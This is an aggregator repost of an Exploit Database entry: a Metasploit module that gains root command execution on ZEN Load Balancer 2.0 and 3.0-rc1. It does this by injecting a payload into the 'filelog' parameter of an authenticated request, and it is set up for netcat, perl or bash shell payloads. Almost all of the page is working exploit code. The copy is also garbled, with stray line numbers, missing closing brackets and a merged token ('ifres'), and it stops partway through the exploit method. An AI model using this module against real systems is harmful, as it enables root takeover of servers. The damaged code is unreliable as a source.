ZEN Load Balancer Filelog – Command Execution (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2012-10-10
类别：
- remote
平台：
- unix
来源：https://www.exploit-db.com/exploits/21849/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "ZEN Load Balancer Filelog Command Execution",

'Description'=> %q{

This module exploits a vulnerability in ZEN Load Balancer

version 2.0 and 3.0-rc1 which could be abused to allow authenticated users

to execute arbitrary code under the context of the 'root' user.

The 'content2-2.cgi' file uses user controlled data from the 'filelog'

parameter within backticks.

'License'=> MSF_LICENSE,

'Author' =>

[

'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit

'References' =>

[

['OSVDB', '85654'],

['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']

'DefaultOptions'=>

{

'ExitFunction' => 'none'

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic netcat-e perl bash',

}

'Targets'=>

[

['Automatic Targeting', { 'auto' => true }]

'Privileged' => true,

'DisclosureDate' => "Sep 14 2012",

'DefaultTarget'=> 0))

register_options(

[

Opt::RPORT(444),

OptBool.new('SSL', [true, 'Use SSL', true]),

OptString.new('USERNAME', [true, 'The username for the application', 'admin']),

OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])

], self.class)

end

def check

@peer = "#{rhost}:#{rport}"

# retrieve software version from config file

print_status("#{@peer} - Sending check")

begin

res = send_request_cgi({

'uri' => '/config/global.conf'

})

ifres and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/

return Exploit::CheckCode::Appears

elsif res and res.code == 200 and res.body =~ /zenloadbalancer/

return Exploit::CheckCode::Detected

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

print_error("#{@peer} - Connection failed")

end

return Exploit::CheckCode::Unknown

end

def exploit

@peer = "#{rhost}:#{rport}"

user= datastore['USERNAME']

pass= datastore['PASSWORD']

auth= Rex::Text.encode_base64("#{user}:#{pass}")

cmd = Rex::Text.uri_encode(";#{payload.encoded}&")

lines = rand(100) + 1

# send payload

print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")

begin

res = send_request_cgi({

'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",

'headers' =>

{

'Authorization' => "Basic #{auth}"

}

}, 25)

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

fail_with(Exploit::Failure::Unreachable, 'Connection failed')

rescue

fail_with(Exploit::Failure::Unknown, 'Sending payload failed')

end

if res and res.code == 401

fail_with(Exploit::Failure::NoAccess, 'Authentication failed')

end